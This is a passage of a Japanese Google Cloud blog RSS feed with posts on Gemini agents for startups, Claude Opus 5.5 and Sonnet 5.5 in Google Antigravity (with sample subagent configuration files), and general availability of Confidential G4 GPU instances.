&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;スタートアップや AI ネイティブなイノベーターは、すでに Gemini を活用しています。没入型ストーリーテリング プラットフォームを提供する&lt;/span&gt;&lt;a href="https://cloud.google.com/transform/whenere-dreamlands-gemini-jane-austen-fortnite-future-of-fan-fiction"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Whenere&lt;/strong&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt; は Dreamlands を活用&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;して、名作小説『高慢と偏見』の世界を Fortnite 上に再現しました。Dreamlands は Gemini 基盤のエージェント型 3D ワールド構築プラットフォームであり、Gemini は新しいオブジェクトごとにテクスチャを約 7 秒、10 セント未満のコストで生成しました。あるアーティストは、1 日で約 250 個のカスタム アセットを作成し、歴史的に忠実な邸宅を 1 週間足らずで完成させました。アプリケーション構築プラットフォームの &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Lovable&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; をはじめ、&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;OpenEvidence&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;、&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Recursion&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;、&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Replit&lt;/strong&gt;&lt;a href="https://cloud.google.com/blog/ja/products/ai-machine-learning/welcome-to-gemini-at-work-2026?e=48754805"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;など&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;のスタートアップやイノベーターも、この動きに加わっています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Google for Startups で構築&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;エージェント時代の到来により、社内業務を担うコワーカー エージェントのデプロイから、プロダクトへのエージェント型ワークフローの直接組み込みまで、少数精鋭のチームであっても実力以上の大きな成果を生み出せるようになります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;これらの新しい Gemini エージェント機能はまだ一般公開されていませんが、スタートアップのお客様は &lt;/span&gt;&lt;a href="https://cloud.google.com/contact"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google のセールスチームにお問い合わせ&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;いただくことで、詳細の確認や今後の準備についてご相談が可能です。また、&lt;/span&gt;&lt;a href="https://startup.google.com/" rel="noopener" target="_blank"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Google for Startups プログラム&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;で、クレジット、実践的な技術ガイダンス、メンターシップ、グローバルな創業者コミュニティ プログラムなどもご利用いただけます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;- &lt;/strong&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Google、グローバル スタートアップおよび投資家エコシステム担当バイス プレジデント、&lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;Darren Mowry&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Wed, 28 Oct 2026 01:20:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/topics/startups/what-the-gemini-agent-means-for-startups/</guid><category>AI &amp; Machine Learning</category><category>Customers</category><category>Startups</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/startups-gemini-agent-header2.max-600x600.png" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Gemini エージェントがスタートアップにもたらすメリット</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/startups-gemini-agent-header2.max-600x600.png</image><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/topics/startups/what-the-gemini-agent-means-for-startups/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Darren Mowry</name><title>VP, Global Startups &amp; Investor Ecosystem, Google</title><department></department><company></company></author></item><item><title>Google Antigravity で Claude Opus 5.5 と Claude Sonnet 5.5 が利用可能に</title><link>https://cloud.google.com/blog/ja/products/ai-machine-learning/claude-opus-55-and-claude-sonnet-55-available-in-antigravity/</link><description>&lt;div class="block-paragraph"&gt;&lt;p data-block-key="baf5s"&gt;※この投稿は米国時間 2026 年 10 月 21 日に、Google Cloud blog に&lt;a href="https://cloud.google.com/blog/products/ai-machine-learning/claude-opus-55-and-claude-sonnet-55-available-in-antigravity?e=48754805&amp;amp;hl=en"&gt;投稿&lt;/a&gt;されたものの抄訳です。&lt;/p&gt;&lt;p data-block-key="7buti"&gt;手早いバグの修正の繰り返しから複雑な移行の計画まで、タスクごとに適したモデルは異なります。&lt;/p&gt;&lt;p data-block-key="e4hhr"&gt;オープンなエコシステムへの取り組み、そしてあらゆるタスクに最適なモデルを開発者に提供するという Google Cloud のコミットメントに基づき、&lt;b&gt;Google Cloud をご利用のお客様は Google Antigravity で Claude Opus 5.5 と Claude Sonnet 5.5 をお使いいただけるようになりました。&lt;/b&gt;Claude Opus 5.5 は複雑なタスク向けに設計されているのに対し、Claude Sonnet 5.5 はより高速かつ低コストな補完モデルです。&lt;/p&gt;&lt;p data-block-key="v010"&gt;管理者によって有効化されると、開発者はモデル選択ツールから Claude Opus 5.5 と Sonnet 5.5 を直接選択できるようになります。管理者は、Gemini 3.8 Flash や Gemini 4 Argon を含む Google の Gemini モデルを選択することもできます。これらのモデルは、Antigravity 2.0、Antigravity CLI のほか、VS Code、JetBrains IntelliJ、Visual Studio 向けに最近リリースされた &lt;a href="https://antigravity.google/docs/ide/extensions/" target="_blank"&gt;Antigravity IDE 拡張機能&lt;/a&gt;に適用されます。これにより、エンタープライズ共通の請求枠組みとセキュリティ境界のもとで、タスクに最適なモデルを選択できるようになります。&lt;/p&gt;&lt;p data-block-key="3ksjp"&gt;この投稿では、これらのモデルを使用して Antigravity で開発を行うための 2 つのエンジニアリング パターンをご紹介します。全サブスクリプション プランにおいて Antigravity でサポートされているモデルの一覧については、&lt;a href="https://antigravity.google/docs/models/" target="_blank"&gt;こちらのドキュメント&lt;/a&gt;をご覧ください。&lt;/p&gt;&lt;h3 data-block-key="9s559"&gt;&lt;b&gt;Antigravity のマルチモデル エンジニアリング パターン&lt;/b&gt;&lt;/h3&gt;&lt;p data-block-key="d9rod"&gt;同じエージェント ハーネス内で複数のモデル ファミリーを利用可能にすることで、レイテンシとコストを管理しながらコードの品質を高める、実践的なマルチモデル ワークフローが実現します。&lt;/p&gt;&lt;p data-block-key="3hgq9"&gt;&lt;b&gt;パターン 1: ループ ワークフローとグラフ ワークフローでのクロスモデル検証（「LLM-as-a-Judge」）&lt;/b&gt;&lt;/p&gt;&lt;p data-block-key="2k1jg"&gt;エージェント ループや複数ステップのグラフ ワークフローを構築する際、コードの記述と自身の出力のレビューに同じモデルを使用すると、そのモデル固有の盲点を補強してしまう恐れがあります。2 つの異なるモデル ファミリーを組み合わせ、一方を実装者、他方を検証者（判定者）とすることで、ワークフローの次のステージに進む前に第三者的な検証が可能になります。&lt;/p&gt;&lt;p data-block-key="bhc26"&gt;Antigravity では、このパターンをインタラクティブに実行することも、自動化されたサブエージェントを介して実行することもできます。&lt;/p&gt;&lt;ol&gt;&lt;li data-block-key="21am7"&gt;&lt;b&gt;モデル A で計画と実装を行う:&lt;/b&gt; Claude Opus 5.5 または Gemini 4 Argon を使用してプランニング モードで開始し、複数ファイルにわたる変更の設計と実装を行います。&lt;/li&gt;&lt;li data-block-key="8psbr"&gt;&lt;b&gt;モデル B で検証する:&lt;/b&gt; ループの変更を commit するか、次のステップへ進める前に、モデルを切り替えるか、CLI で単発の /model チェックを呼び出して、別のモデル ファミリーにテストスイートや要件に照らして実装を評価させます。&lt;/li&gt;&lt;/ol&gt;&lt;p data-block-key="9ctlv"&gt;&lt;b&gt;パターン 2: 推論モデルと Flash サブエージェントの組み合わせ&lt;/b&gt;&lt;/p&gt;&lt;p data-block-key="fgij4"&gt;複雑なエンジニアリング タスクでは、高度な推論を要する少数の意思決定と、大量の機械的なルックアップ（ファイルの検索、ログの grep、lint 出力の確認、テスト失敗の分類など）が組み合わされることがよくあります。すべてのルックアップをフロンティア モデルで実行すると、レイテンシとコストの両方が増加する可能性があります。&lt;/p&gt;&lt;p data-block-key="8arge"&gt;Antigravity のサブエージェント カスタマイズ システム（.agents/agents/*.md）を使用すると、特定のモデルティア（inherit、flash、pro）を専門のサブエージェントに割り当てることができます。プライマリ セッションでより強力なモデルを稼働させている場合、以下のように動作します。&lt;/p&gt;&lt;p data-block-key="5goh8"&gt;model: inherit が設定されたサブエージェントは、高度な推論を要するサブタスクに対してアクティブなセッション モデルを使用します。&lt;/p&gt;&lt;p data-block-key="5k1bl"&gt;model: flash が設定されたサブエージェントは、高速な検索、分類、トリアージ作業を Gemini Flash モデルにオフロードします。&lt;/p&gt;&lt;p data-block-key="45e7v"&gt;たとえば、.agents/agents/test-triager.md で高速なログ トリアージ サブエージェントを以下のように定義できます。&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;---\r\nname: test-triager\r\ndescription: Runs unit tests, classifies failures, and returns a concise summary of failing assertions.\r\nmodel: flash\r\ntools:\r\n  - read\r\n  - edit\r\n---\r\n\r\nRun the requested test targets, classify any failures by root cause (compilation error, assertion failure, or timeout), and return a structured summary to the parent agent.&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac257efed0&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;p data-block-key="5p921"&gt;また、.agents/agents/gemini-judge.md では、クロスモデルのコードレビュー担当者サブエージェントを以下のように定義できます。&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;quot;---\r\nname:cross-model-judge\r\ndescription: Independent LLM-as-a-judge verifier that audits diffs and edge cases using Gemini Pro.\r\nmodel: pro\r\ntools:\r\n  - read\r\n---\r\n\r\nReview the current workspace diff against the user&amp;#x27;s requirements. Check for regressions, missing edge-case tests, and security issues. Output a pass/fail verdict with specific line references.&amp;quot;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac257ec4d0&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;p data-block-key="5p921"&gt;この設定により、高速な「テストと分類」のループを test-triager に委任し、cross-model-judge をトリガーして最終的なコード差分を検証できます。これにより、各モデルの強みを単一のワークフロー内で活かすことが可能になります。&lt;/p&gt;&lt;h3 data-block-key="737rc"&gt;&lt;b&gt;ご利用にあたって&lt;/b&gt;&lt;/h3&gt;&lt;p data-block-key="buj83"&gt;Claude Opus 5.5 と Claude Sonnet 5.5 は、Antigravity を使用している Google Cloud のお客様にご利用いただけます。&lt;/p&gt;&lt;ol&gt;&lt;li data-block-key="etdrc"&gt;&lt;b&gt;管理者（Gemini for Business）:&lt;/b&gt; サードパーティのパートナー モデルは、プールされている Gemini Enterprise Standard および Plus エディションの月間トークン割り当てから消費されることはありません。代わりに、既存の Google Cloud 請求先アカウントを通じて従量課金制で請求されるため、超過料金の設定を有効にする必要があります。Google Cloud コンソールで [Gemini Enterprise] &amp;gt; [設定] &amp;gt; [AI デベロッパー ツール] に移動して、超過料金の請求、費用の上限、組織のパートナー モデルの承認を構成します。詳しい手順については、&lt;a href="https://cloud.google.com/gemini/enterprise/docs/ai-developer-tools-settings"&gt;AI デベロッパー ツールの設定方法&lt;/a&gt;をご覧ください。&lt;/li&gt;&lt;li data-block-key="8mh4h"&gt;&lt;b&gt;管理者（Gemini プラットフォーム）:&lt;/b&gt; Gemini プラットフォームの API 経由で Antigravity をご利用の場合も、パートナー モデルを有効化できます。Model Garden で Claude モデルを有効化し、Anthropic の標準利用規約に同意してください。&lt;/li&gt;&lt;li data-block-key="5m63a"&gt;&lt;b&gt;開発者:&lt;/b&gt; Antigravity 2.0、Antigravity CLI、または Antigravity IDE 拡張機能を最新バージョンに更新し、モデル選択ツールを開いて（または /model を実行して）、タスクに適したモデルを選択します。エンタープライズ ガバナンスやマルチエージェント構成の詳細については、&lt;a href="https://antigravity.google/docs/enterprise/" target="_blank"&gt;Google Antigravity Enterprise のドキュメント&lt;/a&gt;をご覧ください。ワークスペースの状態、開いているアーティファクト、ターミナルのコンテキストを保持したまま、同じ会話スレッド内のターン間でアクティブなモデルを切り替えることが可能です。&lt;/li&gt;&lt;/ol&gt;&lt;p data-block-key="cnhj3"&gt;&lt;sup&gt;注: コンテキスト管理や要約といった高頻度で発生するクライアントサイドの調整処理のために、軽量なファースト パーティの Gemini モデルがバックグラウンドで引き続き稼働します。これらのモデルはファースト パーティ トークンを消費するため、料金が発生する場合があります。&lt;/sup&gt;&lt;/p&gt;&lt;p data-block-key="ad4r0"&gt;&lt;b&gt;&lt;i&gt;-&lt;/i&gt;&lt;/b&gt; &lt;i&gt;Google Cloud、プロダクト マーケティング マネージャー、&lt;/i&gt;&lt;b&gt;&lt;i&gt;Marialaura Garcia&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;p data-block-key="7bk35"&gt;&lt;b&gt;&lt;i&gt;-&lt;/i&gt;&lt;/b&gt; &lt;i&gt;Google Antigravity、デベロッパーリレーションズ、&lt;/i&gt;&lt;b&gt;&lt;i&gt;Rich Hyndman&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Wed, 28 Oct 2026 01:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/products/ai-machine-learning/claude-opus-55-and-claude-sonnet-55-available-in-antigravity/</guid><category>Developers &amp; Practitioners</category><category>AI &amp; Machine Learning</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Google Antigravity で Claude Opus 5.5 と Claude Sonnet 5.5 が利用可能に</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/products/ai-machine-learning/claude-opus-55-and-claude-sonnet-55-available-in-antigravity/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Marialaura Garcia</name><title>Product Marketing Manager</title><department>Google Cloud</department><company></company></author><author xmlns:author="http://www.w3.org/2005/Atom"><name>Rich Hyndman</name><title>Developer Relations</title><department>Google Antigravity</department><company></company></author></item><item><title>グローバル規模のハードウェア格納型セキュリティ: NVIDIA Blackwell を搭載した Confidential G4 の一般提供を開始</title><link>https://cloud.google.com/blog/ja/topics/ai-infrastructure/confidential-g4-gpus-are-ga/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;※この投稿は米国時間 2026 年 10 月 22 日に、Google Cloud blog に&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/topics/ai-infrastructure/confidential-g4-gpus-are-ga?e=48754805&amp;amp;hl=en"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;投稿&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;されたものの抄訳です。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;自律型エージェントを本番環境に導入するには、機密データや貴重な知的財産をリアルタイムで処理する必要があります。独自のモデルの重み、ユーザー プロンプト、生成された出力を守るには、計算処理を実行している最中のデータを保護するセキュリティが必要です。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;企業のセキュリティを確保するための取り組みの一環として、このたび、NVIDIA RTX PRO 6000 Blackwell Server Edition GPU を搭載した Google Cloud の G4 インスタンスで Confidential Computing の一般提供を開始したことをお知らせいたします。このリリースにより、NVIDIA Confidential Computing が &lt;/span&gt;&lt;a href="https://cloud.google.com/ai-infrastructure"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google Cloud の AI Hypercomputer&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; に直接統合され、プライバシーを損なうことなくスケーリングに必要な動的パフォーマンスを実現します。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;今年に入って &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/ja/products/identity-security/verifiable-trust-in-the-ai-era-whats-new-in-confidential-computing?e=48754805&amp;amp;hl=ja"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Confidential G4 のプレビュー版&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;を発表した際、そのグローバルな展開規模についてお話ししました。このたび、&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/confidential-computing/confidential-vm/docs/supported-configurations#g4-machine-type"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;36 のゾーン&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;にまたがり、&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/compute/docs/accelerator-optimized-machines#consumption_option_availability_by_machine_type"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;複数の利用モデル&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;に対応したこれらのインスタンスを、&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/confidential-computing/confidential-vm/docs/create-a-confidential-vm-instance-with-gpu"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Compute Engine VM&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; と &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/kubernetes-engine/docs/how-to/gpus-confidential-nodes"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;GKE ノード&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;にて、一般提供を開始いたしました。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;さらに、安全なマルチパーティ データ共有を可能にする &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/confidential-computing/confidential-space/docs/confidential-space-overview"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Confidential Space&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; のサポートも、今後数週間かけて順次一般提供される予定です。&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;機密データとモデルを低レイテンシで保護&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;使用中のデータを保護するために、GPU スループットや運用のアジリティを犠牲にする必要はありません。エクスポート不可のハードウェア キー、検証可能なリモート認証、透過的なメモリ暗号化を統合した Confidential G4 は、エージェント型ワークロードや推論ワークロードへの投資効果を最大化します。企業は、厳格な規制要件やコンプライアンス要件を満たしながら、コストを低く抑えることができます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;「組織がクラウド、オンプレミス、エージェント環境など、ますます複雑化する環境に AI をデプロイするなかで、機密データの保護は極めて重要となっています。また、AI システムがセキュリティを確保したうえで、自社のポリシーに準拠して一貫して動作することを担保しなければなりません。NVIDIA RTX PRO 6000 Blackwell GPU を搭載した Google Cloud Confidential G4 VM は、プライバシー保護型の AI および AI 運用に向けた強力な基盤を提供します。Confidential Core AI は Google Cloud 上で動作し、企業の原則、ポリシー、運用要件を、AI エージェント、モデル、データ、ツールをモニタリングおよび統制するリアルタイムの安全保護対策へと落とし込みます。これらの機能を組み合わせることで、組織は管理、機密性、説明責任を維持しながら、Google Cloud 上で信頼性の高い AI を大規模に展開できます。」&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;- Confidential Core AI、創業者 / CEO、Taher Behbehani 氏&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;エンタープライズ AI ワークロードにおけるその他のメリットは以下のとおりです。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;エンドツーエンドの機密性と分離: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;ハードウェアによって保護された実行環境でデータとモデル パラメータを暗号化し、知的財産やお客様の入力をホストシステム管理者、ハイパーバイザ、さらにはクラウド プロバイダによるアクセスから保護します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;検証可能な暗号化による信頼: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;ハードウェアをルートとするリモート認証を活用し、機密データセットの解放やワークロードの実行前に、コード、プラットフォーム構成、環境の整合性を検証します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;コードのリファクタリングが不要: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;標準の Ubuntu OS イメージ、NVIDIA ドライバ、NVIDIA CUDA-X ライブラリを使用し、アプリケーションの変更やカスタムビルドを行うことなく、そのままモデルをデプロイできます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Polaris Cloud にとって、このデプロイの容易さはまさに画期的なものでした。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;「Polaris は AI エージェント用のワークスペースを開発しています。お客様は、エージェントの処理が実際にどこで実行されたのか、そしてその過程で暗号技術によって確実に分離されていたかを知る必要があります。Google Cloud Confidential G4 の登場によって、その課題は一気に解決しました。NVIDIA RTX PRO 6000 Blackwell GPU からハードウェア格納型の来歴を取得し、お客様が結果とともに受け取るレシートにバインドしています。それ以外は実質的に何も変わっていません。同じ G4 イメージ、同じ NVIDIA ドライバ、同じコンテナ ランタイムを使い、起動時にフラグを 1 つ指定するだけで、パフォーマンスもそのままです。これにより、お客様に対する当社の約束は、『お客様のエージェントを実行します』というものから『当社で実行するすべてのワークロードは検証可能です』というレベルへと、一夜にして引き上げられたのです。」&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;- Polaris Cloud、創業者 / CEO、Fred Esere 氏&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;マルチパーティ データ コラボレーション: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;Confidential Space を使用して、共同分析やモデルの共同トレーニングを安全に行うことができます。複数の関係者が、元となるプライベート データを互いに開示することなく、機密性の高いデータセットを組み合わせることができます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;「企業は、最も価値のあるデータを AI で活用しながら、その処理中の保護も両立させる必要があります。NVIDIA Confidential Computing は、GPU アクセラレーション ワークロードにハードウェア格納型の保護を提供し、使用中の機密データや独自モデルを守ります。Google Cloud と連携し、NVIDIA Blackwell のパフォーマンスとこれらのセキュリティ機能を Confidential G4 VM に導入することで、組織は高いパフォーマンスと検証可能な保護機能を備えた本番環境の AI を大規模に展開できるようになります。」&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;- NVIDIA、アクセラレーテッド コンピューティング プロダクト担当ディレクター、Dave Salvator 氏&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;パフォーマンスのテスト&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;メモリ暗号化が運用に与える影響を把握するため、g4-standard-48 マシンシェイプを使用して、Confidential G4 インスタンスと標準の非 Confidential G4 インスタンスの比較分析を行いました。今回のテストでは、広く採用されているオープン ウェイト モデルに焦点を当てました。これらのモデルは、お客様が自社の推論パイプラインにおいて、単一の GPU インスタンスによくデプロイしているものです。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Llama 3、Llama 3.3、Resnet-50、SDXL などの主要なモデルを対象としたベンチマークでは、&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Confidential G4 は AI 推論ワークロードにおいて標準の G4 インスタンスと同等のパフォーマンスを発揮し、スループットの低下は 3.5% 未満&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;（1 秒あたりのトークン数または画像数で測定）であることが示されています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;注:&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt; &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;パフォーマンス測定結果は、特定のテスト条件および構成に基づくものです。実際のワークロードのパフォーマンスは、システムのセットアップ、選択するハードウェア、ソフトウェア環境によって異なる場合があります。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Google の分析結果は、機密データを保護し、コンプライアンス要件を満たしながら、スピーディーな展開を可能にします。この両立は、実際の導入現場ですでに実証されています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;「当社のワークロードにおいて、Google Cloud の Confidential G4 と、まったく同じソフトウェアを稼働させた標準の G4 との比較ベンチマークを実施しました&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;。エンドツーエンドのレイテンシ増加はわずか 5.2% にとどまり、その一方で、認証された環境外にいる権限のないユーザーによる会話の盗聴を防ぐ、ハードウェア レベルの保証が得られることがわかりました。このトレードオフなら、何度でも選ぶ価値があります。ユーザーはオンプレミス同等のプライバシーを確保しながら、クラウドの利便性を享受できるからです。」&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;- &lt;/strong&gt;&lt;a href="https://vertebrae.ai/" rel="noopener" target="_blank"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Vertebrae&lt;/strong&gt;&lt;/a&gt;&lt;strong style="vertical-align: baseline;"&gt;、CEO、Andy Qin 氏&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Confidential G4 を使ってみる&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Confidential G4 を活用すれば、モデルの実行やエージェント ワークロードにおけるセキュリティを強化するにあたって、パフォーマンス、柔軟性、運用の容易さを犠牲にする必要はありません。スループットの低下をほぼゼロに抑えつつ、検証可能な信頼性と堅牢なハードウェア分離を提供することで、組織は価値の高いモデルを安全にデプロイし、重要なデータアセットをクラウド規模で保護できます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://docs.cloud.google.com/confidential-computing/confidential-vm/docs/create-a-confidential-vm-instance-with-gpu"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;GPU を使用した Confidential VMs のドキュメント&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;に沿って、今すぐご利用を開始してください。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;- &lt;/strong&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Confidential Computing 担当プロダクト マネージャー、&lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;Meghna Sreenivasan&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;- &lt;/strong&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Confidential Computing 担当プロダクト リード、&lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;Sam Lugani&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Tue, 27 Oct 2026 16:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/topics/ai-infrastructure/confidential-g4-gpus-are-ga/</guid><category>AI Hypercomputer</category><category>Compute</category><category>Security &amp; Identity</category><category>AI infrastructure</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>グローバル規模のハードウェア格納型セキュリティ: NVIDIA Blackwell を搭載した Confidential G4 の一般提供を開始</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/topics/ai-infrastructure/confidential-g4-gpus-are-ga/</url></og><author 